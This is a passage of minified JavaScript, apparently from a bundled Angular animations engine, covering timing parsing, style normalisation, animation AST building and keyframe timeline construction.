y=Te.match(/^(-?[\\.\\d]+)(m?s)/);return!y||y.length<2?0:Ue(parseFloat(y[1]),y[2])}function Ue(Te,y){return"s"===y?Te*qt:Te}function xe(Te,y,D){return Te.hasOwnProperty("duration")?Te:function J(Te,y,D){let Le,rt=0,yt="";if("string"==typeof Te){const Mt=Te.match(/^(-?[\\.\\d]+)(m?s)(?:\\s+(-?[\\.\\d]+)(m?s))?(?:\\s+([-a-z]+(?:\\(.+?\\))?))?$/i);if(null===Mt)return y.push(c()),{duration:0,delay:0,easing:""};Le=Ue(parseFloat(Mt[1]),Mt[2]);const Ft=Mt[3];null!=Ft&&(rt=Ue(parseFloat(Ft),Mt[4]));const Ut=Mt[5];Ut&&(yt=Ut)}else Le=Te;if(!D){let Mt=!1,Ft=y.length;Le<0&&(y.push(function f(){return new n.vHH(3100,!1)}()),Mt=!0),rt<0&&(y.push(function E(){return new n.vHH(3101,!1)}()),Mt=!0),Mt&&y.splice(Ft,0,c())}return{duration:Le,delay:rt,easing:yt}}(Te,y,D)}function Ae(Te,y={}){return Object.keys(Te).forEach(D=>{y[D]=Te[D]}),y}function mt(Te){const y=new Map;return Object.keys(Te).forEach(D=>{y.set(D,Te[D])}),y}function pt(Te,y=new Map,D){if(D)for(let[Z,Le]of D)y.set(Z,Le);for(let[Z,Le]of Te)y.set(Z,Le);return y}function nt(Te,y,D){return D?y+":"+D+";":""}function fe(Te){let y="";for(let D=0;D<Te.style.length;D++){const Z=Te.style.item(D);y+=nt(0,Z,Te.style.getPropertyValue(Z))}for(const D in Te.style)Te.style.hasOwnProperty(D)&&!D.startsWith("_")&&(y+=nt(0,G1(D),Te.style[D]));Te.setAttribute("style",y)}function Ee(Te,y,D){Te.style&&(y.forEach((Z,Le)=>{const rt=_1(Le);D&&!D.has(Le)&&D.set(Le,Te.style[rt]),Te.style[rt]=Z}),Be()&&fe(Te))}function at(Te,y){Te.style&&(y.forEach((D,Z)=>{const Le=_1(Z);Te.style[Le]=""}),Be()&&fe(Te))}function Se(Te){return Array.isArray(Te)?1==Te.length?Te[0]:(0,s.vP)(Te):Te}const Ne=new RegExp("{{\\\\s*(.+?)\\\\s*}}","g");function ut(Te){let y=[];if("string"==typeof Te){let D;for(;D=Ne.exec(Te);)y.push(D[1]);Ne.lastIndex=0}return y}function Rt(Te,y,D){const Z=Te.toString(),Le=Z.replace(Ne,(rt,yt)=>{let Mt=y[yt];return null==Mt&&(D.push(function S(Te){return new n.vHH(3003,!1)}()),Mt=""),Mt.toString()});return Le==Z?Te:Le}function Zt(Te){const y=[];let D=Te.next();for(;!D.done;)y.push(D.value),D=Te.next();return y}const a1=/-+([a-z0-9])/g;function _1(Te){return Te.replace(a1,(...y)=>y[1].toUpperCase())}function G1(Te){return Te.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function P1(Te,y,D){switch(y.type){case 7:return Te.visitTrigger(y,D);case 0:return Te.visitState(y,D);case 1:return Te.visitTransition(y,D);case 2:return Te.visitSequence(y,D);case 3:return Te.visitGroup(y,D);case 4:return Te.visitAnimate(y,D);case 5:return Te.visitKeyframes(y,D);case 6:return Te.visitStyle(y,D);case 8:return Te.visitReference(y,D);case 9:return Te.visitAnimateChild(y,D);case 10:return Te.visitAnimateRef(y,D);case 11:return Te.visitQuery(y,D);case 12:return Te.visitStagger(y,D);default:throw function g(Te){return new n.vHH(3004,!1)}()}}function on(Te,y){return window.getComputedStyle(Te)[y]}const ke="*";function lt(Te,y){const D=[];return"string"==typeof Te?Te.split(/\\s*,\\s*/).forEach(Z=>function Wt(Te,y,D){if(":"==Te[0]){const Ft=function p1(Te,y){switch(Te){case":enter":return"void => *";case":leave":return"* => void";case":increment":return(D,Z)=>parseFloat(Z)>parseFloat(D);case":decrement":return(D,Z)=>parseFloat(Z)<parseFloat(D);default:return y.push(function we(Te){return new n.vHH(3016,!1)}()),"* => *"}}(Te,D);if("function"==typeof Ft)return void y.push(Ft);Te=Ft}const Z=Te.match(/^(\\*|[-\\w]+)\\s*(<?[=-]>)\\s*(\\*|[-\\w]+)$/);if(null==Z||Z.length<4)return D.push(function q(Te){return new n.vHH(3015,!1)}()),y;const Le=Z[1],rt=Z[2],yt=Z[3];y.push(h1(Le,yt));"<"==rt[0]&&!(Le==ke&&yt==ke)&&y.push(h1(yt,Le))}(Z,D,y)):D.push(Te),D}const w1=new Set(["true","1"]),Qt=new Set(["false","0"]);function h1(Te,y){const D=w1.has(Te)||Qt.has(Te),Z=w1.has(y)||Qt.has(y);return(Le,rt)=>{let yt=Te==ke||Te==Le,Mt=y==ke||y==rt;return!yt&&D&&"boolean"==typeof Le&&(yt=Le?w1.has(Te):Qt.has(Te)),!Mt&&Z&&"boolean"==typeof rt&&(Mt=rt?w1.has(y):Qt.has(y)),yt&&Mt}}const Y1=new RegExp("s*:selfs*,?","g");function T1(Te,y,D,Z){return new vn(Te).build(y,D,Z)}class vn{constructor(y){this._driver=y}build(y,D,Z){const Le=new Gn(D);return this._resetContextStyleTimingState(Le),P1(this,Se(y),Le)}_resetContextStyleTimingState(y){y.currentQuerySelector="",y.collectedStyles=new Map,y.collectedStyles.set("",new Map),y.currentTime=0}visitTrigger(y,D){let Z=D.queryCount=0,Le=D.depCount=0;const rt=[],yt=[];return"@"==y.name.charAt(0)&&D.errors.push(function z(){return new n.vHH(3006,!1)}()),y.definitions.forEach(Mt=>{if(this._resetContextStyleTimingState(D),0==Mt.type){const Ft=Mt,Ut=Ft.name;Ut.toString().split(/\\s*,\\s*/).forEach(o1=>{Ft.name=o1,rt.push(this.visitState(Ft,D))}),Ft.name=Ut}else if(1==Mt.type){const Ft=this.visitTransition(Mt,D);Z+=Ft.queryCount,Le+=Ft.depCount,yt.push(Ft)}else D.errors.push(function H(){return new n.vHH(3007,!1)}())}),{type:7,name:y.name,states:rt,transitions:yt,queryCount:Z,depCount:Le,options:null}}visitState(y,D){const Z=this.visitStyle(y.styles,D),Le=y.options&&y.options.params||null;if(Z.containsDynamicStyles){const rt=new Set,yt=Le||{};Z.styles.forEach(Mt=>{Mt instanceof Map&&Mt.forEach(Ft=>{ut(Ft).forEach(Ut=>{yt.hasOwnProperty(Ut)||rt.add(Ut)})})}),rt.size&&(Zt(rt.values()),D.errors.push(function j(Te,y){return new n.vHH(3008,!1)}()))}return{type:0,name:y.name,style:Z,options:Le?{params:Le}:null}}visitTransition(y,D){D.queryCount=0,D.depCount=0;const Z=P1(this,Se(y.animation),D);return{type:1,matchers:lt(y.expr,D.errors),animation:Z,queryCount:D.queryCount,depCount:D.depCount,options:fn(y.options)}}visitSequence(y,D){return{type:2,steps:y.steps.map(Z=>P1(this,Z,D)),options:fn(y.options)}}visitGroup(y,D){const Z=D.currentTime;let Le=0;const rt=y.steps.map(yt=>{D.currentTime=Z;const Mt=P1(this,yt,D);return Le=Math.max(Le,D.currentTime),Mt});return D.currentTime=Le,{type:3,steps:rt,options:fn(y.options)}}visitAnimate(y,D){const Z=function ci(Te,y){if(Te.hasOwnProperty("duration"))return Te;if("number"==typeof Te)return Rn(xe(Te,y).duration,0,"");const D=Te;if(D.split(/\\s+/).some(rt=>"{"==rt.charAt(0)&&"{"==rt.charAt(1))){const rt=Rn(0,0,"");return rt.dynamic=!0,rt.strValue=D,rt}const Le=xe(D,y);return Rn(Le.duration,Le.delay,Le.easing)}(y.timings,D.errors);D.currentAnimateTimings=Z;let Le,rt=y.styles?y.styles:(0,s.oB)({});if(5==rt.type)Le=this.visitKeyframes(rt,D);else{let yt=y.styles,Mt=!1;if(!yt){Mt=!0;const Ut={};Z.easing&&(Ut.easing=Z.easing),yt=(0,s.oB)(Ut)}D.currentTime+=Z.duration+Z.delay;const Ft=this.visitStyle(yt,D);Ft.isEmptyStep=Mt,Le=Ft}return D.currentAnimateTimings=null,{type:4,timings:Z,style:Le,options:null}}visitStyle(y,D){const Z=this._makeStyleAst(y,D);return this._validateStyleAst(Z,D),Z}_makeStyleAst(y,D){const Z=[],Le=Array.isArray(y.styles)?y.styles:[y.styles];for(let Mt of Le)"string"==typeof Mt?Mt===s.l3?Z.push(Mt):D.errors.push(new n.vHH(3002,!1)):Z.push(mt(Mt));let rt=!1,yt=null;return Z.forEach(Mt=>{if(Mt instanceof Map&&(Mt.has("easing")&&(yt=Mt.get("easing"),Mt.delete("easing")),!rt))for(let Ft of Mt.values())if(Ft.toString().indexOf("{{")>=0){rt=!0;break}}),{type:6,styles:Z,easing:yt,offset:y.offset,containsDynamicStyles:rt,options:null}}_validateStyleAst(y,D){const Z=D.currentAnimateTimings;let Le=D.currentTime,rt=D.currentTime;Z&&rt>0&&(rt-=Z.duration+Z.delay),y.styles.forEach(yt=>{"string"!=typeof yt&&yt.forEach((Mt,Ft)=>{const Ut=D.collectedStyles.get(D.currentQuerySelector),o1=Ut.get(Ft);let l1=!0;o1&&(rt!=Le&&rt>=o1.startTime&&Le<=o1.endTime&&(D.errors.push(function Q(Te,y,D,Z,Le){return new n.vHH(3010,!1)}()),l1=!1),rt=o1.startTime),l1&&Ut.set(Ft,{startTime:rt,endTime:Le}),D.options&&function ot(Te,y,D){const Z=y.params||{},Le=ut(Te);Le.length&&Le.forEach(rt=>{Z.hasOwnProperty(rt)||D.push(function _(Te){return new n.vHH(3001,!1)}())})}(Mt,D.options,D.errors)})})}visitKeyframes(y,D){const Z={type:5,styles:[],options:null};if(!D.currentAnimateTimings)return D.errors.push(function oe(){return new n.vHH(3011,!1)}()),Z;let rt=0;const yt=[];let Mt=!1,Ft=!1,Ut=0;const o1=y.steps.map(tn=>{const Tn=this._makeStyleAst(tn,D);let En=null!=Tn.offset?Tn.offset:function D1(Te){if("string"==typeof Te)return null;let y=null;if(Array.isArray(Te))Te.forEach(D=>{if(D instanceof Map&&D.has("offset")){const Z=D;y=parseFloat(Z.get("offset")),Z.delete("offset")}});else if(Te instanceof Map&&Te.has("offset")){const D=Te;y=parseFloat(D.get("offset")),D.delete("offset")}return y}(Tn.styles),wn=0;return null!=En&&(rt++,wn=Tn.offset=En),Ft=Ft||wn<0||wn>1,Mt=Mt||wn<Ut,Ut=wn,yt.push(wn),Tn});Ft&&D.errors.push(function Ce(){return new n.vHH(3012,!1)}()),Mt&&D.errors.push(function k(){return new n.vHH(3200,!1)}());const l1=y.steps.length;let F1=0;rt>0&&rt<l1?D.errors.push(function K(){return new n.vHH(3202,!1)}()):0==rt&&(F1=1/(l1-1));const A1=l1-1,C1=D.currentTime,S1=D.currentAnimateTimings,Q1=S1.duration;return o1.forEach((tn,Tn)=>{const En=F1>0?Tn==A1?1:F1*Tn:yt[Tn],wn=En*Q1;D.currentTime=C1+S1.delay+wn,S1.duration=wn,this._validateStyleAst(tn,D),tn.offset=En,Z.styles.push(tn)}),Z}visitReference(y,D){return{type:8,animation:P1(this,Se(y.animation),D),options:fn(y.options)}}visitAnimateChild(y,D){return D.depCount++,{type:9,options:fn(y.options)}}visitAnimateRef(y,D){return{type:10,animation:this.visitReference(y.animation,D),options:fn(y.options)}}visitQuery(y,D){const Z=D.currentQuerySelector,Le=y.options||{};D.queryCount++,D.currentQuery=y;const[rt,yt]=function E1(Te){const y=!!Te.split(/\\s*,\\s*/).find(D=>":self"==D);return y&&(Te=Te.replace(Y1,"")),Te=Te.replace(/@\\*/g,Fe).replace(/@\\w+/g,D=>Fe+"-"+D.slice(1)).replace(/:animating/g,Pe),[Te,y]}(y.selector);D.currentQuerySelector=Z.length?Z+" "+rt:rt,_e(D.collectedStyles,D.currentQuerySelector,new Map);const Mt=P1(this,Se(y.animation),D);return D.currentQuery=null,D.currentQuerySelector=Z,{type:11,selector:rt,limit:Le.limit||0,optional:!!Le.optional,includeSelf:yt,animation:Mt,originalSelector:y.selector,options:fn(y.options)}}visitStagger(y,D){D.currentQuery||D.errors.push(function se(){return new n.vHH(3013,!1)}());const Z="full"===y.timings?{duration:0,delay:0,easing:"full"}:xe(y.timings,D.errors,!0);return{type:12,animation:P1(this,Se(y.animation),D),timings:Z,options:null}}}class Gn{constructor(y){this.errors=y,this.queryCount=0,this.depCount=0,this.currentTransition=null,this.currentQuery=null,this.currentQuerySelector=null,this.currentAnimateTimings=null,this.currentTime=0,this.collectedStyles=new Map,this.options=null,this.unsupportedCSSPropertiesFound=new Set}}function fn(Te){return Te?(Te=Ae(Te)).params&&(Te.params=function In(Te){return Te?Ae(Te):null}(Te.params)):Te={},Te}function Rn(Te,y,D){return{duration:Te,delay:y,easing:D}}function cn(Te,y,D,Z,Le,rt,yt=null,Mt=!1){return{type:1,element:Te,keyframes:y,preStyleProps:D,postStyleProps:Z,duration:Le,delay:rt,totalTime:Le+rt,easing:yt,subTimeline:Mt}}class X1{constructor(){this._map=new Map}get(y){return this._map.get(y)||[]}append(y,D){let Z=this._map.get(y);Z||this._map.set(y,Z=[]),Z.push(...D)}has(y){return this._map.has(y)}clear(){this._map.clear()}}const An=new RegExp(":enter","g"),li=new RegExp(":leave","g");function L1(Te,y,D,Z,Le,rt=new Map,yt=new Map,Mt,Ft,Ut=[]){return(new Cn).buildKeyframes(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut)}class Cn{buildKeyframes(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1=[]){Ut=Ut||new X1;const l1=new di(y,D,Ut,Le,rt,o1,[]);l1.options=Ft;const F1=Ft.delay?Re(Ft.delay):0;l1.currentTimeline.delayNextStep(F1),l1.currentTimeline.setStyles([yt],null,l1.errors,Ft),P1(this,Z,l1);const A1=l1.timelines.filter(C1=>C1.containsAnimation());if(A1.length&&Mt.size){let C1;for(let S1=A1.length-1;S1>=0;S1--){const Q1=A1[S1];if(Q1.element===D){C1=Q1;break}}C1&&!C1.allowOnlyTimelineStyles()&&C1.setStyles([Mt],null,l1.errors,Ft)}return A1.length?A1.map(C1=>C1.buildKeyframes()):[cn(D,[],[],[],0,F1,"",!1)]}visitTrigger(y,D){}visitState(y,D){}visitTransition(y,D){}visitAnimateChild(y,D){const Z=D.subInstructions.get(D.element);if(Z){const Le=D.createSubContext(y.options),rt=D.currentTimeline.currentTime,yt=this._visitSubInstructions(Z,Le,Le.options);rt!=yt&&D.transformIntoNewTimeline(yt)}D.previousNode=y}visitAnimateRef(y,D){const Z=D.createSubContext(y.options);Z.transformIntoNewTimeline(),this._applyAnimationRefDelays([y.options,y.animation.options],D,Z),this.visitReference(y.animation,Z),D.transformIntoNewTimeline(Z.currentTimeline.currentTime),D.previousNode=y}_applyAnimationRefDelays(y,D,Z){for(const Le of y){const rt=Le?.delay;if(rt){const yt="number"==typeof rt?rt:Re(Rt(rt,Le?.params??{},D.errors));Z.delayNextStep(yt)}}}_visitSubInstructions(y,D,Z){let rt=D.currentTimeline.currentTime;const yt=null!=Z.duration?Re(Z.duration):null,Mt=null!=Z.delay?Re(Z.delay):null;return 0!==yt&&y.forEach(Ft=>{const Ut=D.appendInstructionToTimeline(Ft,yt,Mt);rt=Math.max(rt,Ut.duration+Ut.delay)}),rt}visitReference(y,D){D.updateOptions(y.options,!0),P1(this,y.animation,D),D.previousNode=y}visitSequence(y,D){const Z=D.subContextCount;let Le=D;const rt=y.options;if(rt&&(rt.params||rt.delay)&&(Le=D.createSubContext(rt),Le.transformIntoNewTimeline(),null!=rt.delay)){6==Le.previousNode.type&&(Le.currentTimeline.snapshotCurrentStyles(),Le.previousNode=Mn);const yt=Re(rt.delay);Le.delayNextStep(yt)}y.steps.length&&(y.steps.forEach(yt=>P1(this,yt,Le)),Le.currentTimeline.applyStylesToKeyframe(),Le.subContextCount>Z&&Le.transformIntoNewTimeline()),D.previousNode=y}visitGroup(y,D){const Z=[];let Le=D.currentTimeline.currentTime;const rt=y.options&&y.options.delay?Re(y.options.delay):0;y.steps.forEach(yt=>{const Mt=D.createSubContext(y.options);rt&&Mt.delayNextStep(rt),P1(this,yt,Mt),Le=Math.max(Le,Mt.currentTimeline.currentTime),Z.push(Mt.currentTimeline)}),Z.forEach(yt=>D.currentTimeline.mergeTimelineCollectedStyles(yt)),D.transformIntoNewTimeline(Le),D.previousNode=y}_visitTiming(y,D){if(y.dynamic){const Z=y.strValue;return xe(D.params?Rt(Z,D.params,D.errors):Z,D.errors)}return{duration:y.duration,delay:y.delay,easing:y.easing}}visitAnimate(y,D){const Z=D.currentAnimateTimings=this._visitTiming(y.timings,D),Le=D.currentTimeline;Z.delay&&(D.incrementTime(Z.delay),Le.snapshotCurrentStyles());const rt=y.style;5==rt.type?this.visitKeyframes(rt,D):(D.incrementTime(Z.duration),this.visitStyle(rt,D),Le.applyStylesToKeyframe()),D.currentAnimateTimings=null,D.previousNode=y}visitStyle(y,D){const Z=D.currentTimeline,Le=D.currentAnimateTimings;!Le&&Z.hasCurrentStyleProperties()&&Z.forwardFrame();const rt=Le&&Le.easing||y.easing;y.isEmptyStep?Z.applyEmptyStep(rt):Z.setStyles(y.styles,rt,D.errors,D.options),D.previousNode=y}visitKeyframes(y,D){const Z=D.currentAnimateTimings,Le=D.currentTimeline.duration,rt=Z.duration,Mt=D.createSubContext().currentTimeline;Mt.easing=Z.easing,y.styles.forEach(Ft=>{Mt.forwardTime((Ft.offset||0)*rt),Mt.setStyles(Ft.styles,Ft.easing,D.errors,D.options),Mt.applyStylesToKeyframe()}),D.currentTimeline.mergeTimelineCollectedStyles(Mt),D.transformIntoNewTimeline(Le+rt),D.previousNode=y}visitQuery(y,D){const Z=D.currentTimeline.currentTime,Le=y.options||{},rt=Le.delay?Re(Le.delay):0;rt&&(6===D.previousNode.type||0==Z&&D.currentTimeline.hasCurrentStyleProperties())&&(D.currentTimeline.snapshotCurrentStyles(),D.previousNode=Mn);let yt=Z;const Mt=D.invokeQuery(y.selector,y.originalSelector,y.limit,y.includeSelf,!!Le.optional,D.errors);D.currentQueryTotal=Mt.length;let Ft=null;Mt.forEach((Ut,o1)=>{D.currentQueryIndex=o1;const l1=D.createSubContext(y.options,Ut);rt&&l1.delayNextStep(rt),Ut===D.element&&(Ft=l1.currentTimeline),P1(this,y.animation,l1),l1.currentTimeline.applyStylesToKeyframe(),yt=Math.max(yt,l1.currentTimeline.currentTime)}),D.currentQueryIndex=0,D.currentQueryTotal=0,D.transformIntoNewTimeline(yt),Ft&&(D.currentTimeline.mergeTimelineCollectedStyles(Ft),D.currentTimeline.snapshotCurrentStyles()),D.previousNode=y}visitStagger(y,D){const Z=D.parentContext,Le=D.currentTimeline,rt=y.timings,yt=Math.abs(rt.duration),Mt=yt*(D.currentQueryTotal-1);let Ft=yt*D.currentQueryIndex;switch(rt.duration<0?"reverse":rt.easing){case"reverse":Ft=Mt-Ft;break;case"full":Ft=Z.currentStaggerTime}const o1=D.currentTimeline;Ft&&o1.delayNextStep(Ft);const l1=o1.currentTime;P1(this,y.animation,D),D.previousNode=y,Z.currentStaggerTime=Le.currentTime-l1+(Le.startTime-Z.currentTimeline.startTime)}}const Mn={};class di{constructor(y,D,Z,Le,rt,yt,Mt,Ft){this._driver=y,this.element=D,this.subInstructions=Z,this._enterClassName=Le,this._leaveClassName=rt,this.errors=yt,this.timelines=Mt,this.parentContext=null,this.currentAnimateTimings=null,this.previousNode=Mn,this.subContextCount=0,this.options={},this.currentQueryIndex=0,this.currentQueryTotal=0,this.currentStaggerTime=0,this.currentTimeline=Ft||new ri(this._driver,D,0),Mt.push(this.currentTimeline)}get params(){return this.options.params}updateOptions(y,D){if(!y)return;const Z=y;let Le=this.options;null!=Z.duration&&(Le.duration=Re(Z.duration)),null!=Z.delay&&(Le.delay=Re(Z.delay));const rt=Z.params;if(rt){let yt=Le.params;yt||(yt=this.options.params={}),Object.keys(rt).forEach(Mt=>{(!D||!yt.hasOwnProperty(Mt))&&(yt[Mt]=Rt(rt[Mt],yt,this.errors))})}}_copyOptions(){const y={};if(this.options){const D=this.options.params;if(D){const Z=y.params={};Object.keys(D).forEach(Le=>{Z[Le]=D[Le]})}}return y}createSubContext(y=null,D,Z){const Le=D||this.element,rt=new di(this._driver,Le,this.subInstructions,this._enterClassName,this._leaveClassName,this.errors,this.timelines,this.currentTimeline.fork(Le,Z||0));return rt.previousNode=this.previousNode,rt.currentAnimateTimings=this.currentAnimateTimings,rt.options=this._copyOptions(),rt.updateOptions(y),rt.currentQueryIndex=this.currentQueryIndex,rt.currentQueryTotal=this.currentQueryTotal,rt.parentContext=this,this.subContextCount++,rt}transformIntoNewTimeline(y){return this.previousNode=Mn,this.currentTimeline=this.currentTimeline.fork(this.element,y),this.timelines.push(this.currentTimeline),this.currentTimeline}appendInstructionToTimeline(y,D,Z){const Le={duration:D??y.duration,delay:this.currentTimeline.currentTime+(Z??0)+y.delay,easing:""},rt=new _i(this._driver,y.element,y.keyframes,y.preStyleProps,y.postStyleProps,Le,y.stretchStartingKeyframe);return this.timelines.push(rt),Le}incrementTime(y){this.currentTimeline.forwardTime(this.currentTimeline.duration+y)}delayNextStep(y){y>0&&this.currentTimeline.delayNextStep(y)}invokeQuery(y,D,Z,Le,rt,yt){let Mt=[];if(Le&&Mt.push(this.element),y.length>0){y=(y=y.replace(An,"."+this._enterClassName)).replace(li,"."+this._leaveClassName);let Ut=this._driver.query(this.element,y,1!=Z);0!==Z&&(Ut=Z<0?Ut.slice(Ut.length+Z,Ut.length):Ut.slice(0,Z)),Mt.push(...Ut)}return!rt&&0==Mt.length&&yt.push(function ee(Te){return new n.vHH(3014,!1)}()),Mt}}class ri{constructor(y,D,Z,Le){this._driver=y,this.element=D,this.startTime=Z,this._elementTimelineStylesLookup=Le,this.duration=0,this.easing=null,this._previousKeyframe=new Map,this._currentKeyframe=new Map,this._keyframes=new Map,this._styleSummary=new Map,this._localTimelineStyles=new Map,this._pendingStyles=new Map,this._backFill=new Map,this._currentEmptyStepKeyframe=null,this._elementTimelineStylesLookup||(this._elementTimelineStylesLookup=new Map),this._globalTimelineStyles=this._elementTimelineStylesLookup.get(D),this._globalTimelineStyles||(this._globalTimelineStyles=this._localTimelineStyles,this._elementTimelineStylesLookup.set(D,this._localTimelineStyles)),this._loadKeyframe()}containsAnimation(){switch(this._keyframes.size){case 0:return!1;case 1:return this.hasCurrentStyleProperties();default:return!0}}hasCurrentStyleProperties(){return this._currentKeyframe.size>0}get currentTime(){return this.startTime+this.duration}delayNextStep(y){const D=1===this._keyframes.size&&this._pendingStyles.size;this.duration||D?(this.forwardTime(this.currentTime+y),D&&this.snapshotCurrentStyles()):this.startTime+=y}fork(y,D){return this.applyStylesToKeyframe(),new ri(this._driver,y,D||this.currentTime,this._elementTimelineStylesLookup)}_loadKeyframe(){this._currentKeyframe&&(this._previousKeyframe=this._currentKeyframe),this._currentKeyframe=this._keyframes.get(this.duration),this._currentKeyframe||(this._currentKeyframe=new Map,this._keyframes.set(this.duration,this._currentKeyframe))}forwardFrame(){this.duration+=1,this._loadKeyframe()}forwardTime(y){this.applyStylesToKeyframe(),this.duration=y,this._loadKeyframe()}_updateStyle(y,D){this._localTimelineStyles.set(y,D),this._globalTimelineStyles.set(y,D),this._styleSummary.set(y,{time:this.currentTime,value:D})}allowOnlyTimelineStyles(){return this._currentEmptyStepKeyframe!==this._currentKeyframe}applyEmptyStep(y){y&&this._previousKeyframe.set("easing",y);for(let[D,Z]of this._globalTimelineStyles)this._backFill.set(D,Z||s.l3),this._currentKeyframe.set(D,s.l3);this._currentEmptyStepKeyframe=this._currentKeyframe}setStyles(y,D,Z,Le){D&&this._previousKeyframe.set("easing",D);const rt=Le&&Le.params||{},yt=function ln(Te,y){const D=new Map;let Z;return Te.forEach(Le=>{if("*"===Le){Z=Z||y.keys();for(let rt of Z)D.set(rt,s.l3)}else pt(Le,D)}),D}(y,this._globalTimelineStyles);for(let[Mt,Ft]of yt){const Ut=Rt(Ft,rt,Z);this._pendingStyles.set(Mt,Ut),this._localTimelineStyles.has(Mt)||this._backFill.set(Mt,this._globalTimelineStyles.get(Mt)??s.l3),this._updateStyle(Mt,Ut)}}applyStylesToKeyframe(){0!=this._pendingStyles.size&&(this._pendingStyles.forEach((y,D)=>{this._currentKeyframe.set(D,y)}),this._pendingStyles.clear(),this._localTimelineStyles.forEach((y,D)=>{this._currentKeyframe.has(D)||this._currentKeyframe.set(D,y)}))}snapshotCurrentStyles(){for(let[y,D]of this._localTimelineStyles)this._pendingStyles.set(y,D),this._updateStyle(y,D)}getFinalKeyframe(){return this._keyframes.get(this.duration)}get properties(){const y=[];for(let D in this._currentKeyframe)y.push(D);return y}mergeTimelineCollectedStyles(y){y._styleSummary.forEach((D,Z)=>{const Le=this._styleSummary.get(Z);(!Le||D.time>Le.time)&&this._updateStyle(Z,D.value)})}buildKeyframes(){this.applyStylesToKeyframe();const y=new Set,D=new Set,Z=1===this._keyframes.size&&0===this.duration;let Le=[];this._keyframes.forEach((Mt,Ft)=>{const Ut=pt(Mt,new Map,this._backFill);Ut.forEach((o1,l1)=>{o1===s.k1?y.add(l1):o1===s.l3&&D.add(l1)}),Z||Ut.set("offset",Ft/this.duration),Le.push(Ut)});const rt=y.size?Zt(y.values()):[],yt=D.size?Zt(D.values()):[];if(Z){const Mt=Le[0],Ft=new Map(Mt);Mt.set("offset",0),Ft.set("offset",1),Le=[Mt,Ft]}return cn(this.element,Le,rt,yt,this.duration,this.startTime,this.easing,!1)}}class _i extends ri{constructor(y,D,Z,Le,rt,yt,Mt=!1){super(y,D,yt.delay),this.keyframes=Z,this.preStyleProps=Le,this.postStyleProps=rt,this._stretchStartingKeyframe=Mt,this.timings={duration:yt.duration,delay:yt.delay,easing:yt.easing}}containsAnimation(){return this.keyframes.length>1}buildKeyframes(){let y=this.keyframes,{delay:D,duration:Z,easing:Le}=this.timings;if(this._stretchStartingKeyframe&&D){const rt=[],yt=Z+D,Mt=D/yt,Ft=pt(y[0]);Ft.set("offset",0),rt.push(Ft);const Ut=pt(y[0]);Ut.set("offset",Nn(Mt)),rt.push(Ut);const o1=y.length-1;for(let l1=1;l1<=o1;l1++){let F1=pt(y[l1]);const A1=F1.get("offset");F1.set("offset",Nn((D+A1*Z)/yt)),rt.push(F1)}Z=yt,D=0,Le="",y=rt}return cn(this.element,y,this.preStyleProps,this.postStyleProps,Z,D,Le,!0)}}function Nn(Te,y=3){const D=Math.pow(10,y-1);return Math.round(Te*D)/D}class dn{}const Ei=new Set(["width","height","minWidth","minHeight","maxWidth","maxHeight","left","top","bottom","right","fontSize","outlineWidth","outlineOffset","paddingTop","paddingLeft","paddingBottom","paddingRight","marginTop","marginLeft","marginBottom","marginRight","borderRadius","borderWidth","borderTopWidth","borderLeftWidth","borderRightWidth","borderBottomWidth","textIndent","perspective"]);class Hn extends dn{normalizePropertyName(y,D){return _1(y)}normalizeStyleValue(y,D,Z,Le){let rt="";const yt=Z.toString().trim();if(Ei.has(D)&&0!==Z&&"0"!==Z)if("number"==typeof Z)rt="px";else{const Mt=Z.match(/^[+-]?[\\d\\.]+([a-z]*)$/);Mt&&0==Mt[1].length&&Le.push(function C(Te,y){return new n.vHH(3005,!1)}())}return yt+rt}}function ui(Te,y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1,l1,F1){return{type:0,element:Te,triggerName:y,isRemovalTransition:Le,fromState:D,fromStyles:rt,toState:Z,toStyles:yt,timelines:Mt,queriedElements:Ft,preStyleProps:Ut,postStyleProps:o1,totalTime:l1,errors:F1}}const pn={};class Fi{constructor(y,D,Z){this._triggerName=y,this.ast=D,this._stateStyles=Z}match(y,D,Z,Le){return function zi(Te,y,D,Z,Le){return Te.some(rt=>rt(y,D,Z,Le))}(this.ast.matchers,y,D,Z,Le)}buildStyles(y,D,Z){let Le=this._stateStyles.get("*");return void 0!==y&&(Le=this._stateStyles.get(y?.toString())||Le),Le?Le.buildStyles(D,Z):new Map}build(y,D,Z,Le,rt,yt,Mt,Ft,Ut,o1){const l1=[],F1=this.ast.options&&this.ast.options.params||pn,C1=this.buildStyles(Z,Mt&&Mt.params||pn,l1),S1=Ft&&Ft.params||pn,Q1=this.buildStyles(Le,S1,l1),tn=new Set,Tn=new Map,En=new Map,wn="void"===Le,e2={params:hi(S1,F1),delay:this.ast.options?.delay},ni=o1?[]:L1(y,D,this.ast.animation,rt,yt,C1,Q1,e2,Ut,l1);let Un=0;if(ni.forEach(zn=>{Un=Math.max(zn.duration+zn.delay,Un)}),l1.length)return ui(D,this._triggerName,Z,Le,wn,C1,Q1,[],[],Tn,En,Un,l1);ni.forEach(zn=>{const $1=zn.element,H2=_e(Tn,$1,new Set);zn.preStyleProps.forEach(l2=>H2.add(l2));const z2=_e(En,$1,new Set);zn.postStyleProps.forEach(l2=>z2.add(l2)),$1!==D&&tn.add($1)});const hn=Zt(tn.values());return ui(D,this._triggerName,Z,Le,wn,C1,Q1,ni,hn,Tn,En,Un)}}function hi(Te,y){const D=Ae(y);for(const Z in Te)Te.hasOwnProperty(Z)&&null!=Te[Z]&&(D[Z]=Te[Z]);return D}class Kn{constructor(y,D,Z){this.styles=y,this.defaultParams=D,this.normalizer=Z}buildStyles(y,D){const Z=new Map,Le=Ae(this.defaultParams);return Object.keys(y).forEach(rt=>{const yt=y[rt];null!==yt&&(Le[rt]=yt)}),this.styles.styles.forEach(rt=>{"string"!=typeof rt&&rt.forEach((yt,Mt)=>{yt&&(yt=Rt(yt,Le,D));const Ft=this.normalizer.normalizePropertyName(Mt,D);yt=this.normalizer.normalizeStyleValue(Mt,Ft,yt,D),Z.set(Mt,yt)})}),Z}}class qi{constructor(y,D,Z){this.name=y,this.ast=D,this._normalizer=Z,this.transitionFactories=[],this.states=new Map,D.states.forEach(Le=>{this.states.set(Le.name,new Kn(Le.style,Le.options&&Le.options.params||{},Z))}),Ni(this.states,"true","1"),Ni(this.states,"false","0"),D.transitions.forEach(Le=>{this.transitionFactories.push(new Fi(y,Le,this.states))}),this.fallbackTransition=function h2(Te,y,D){return new 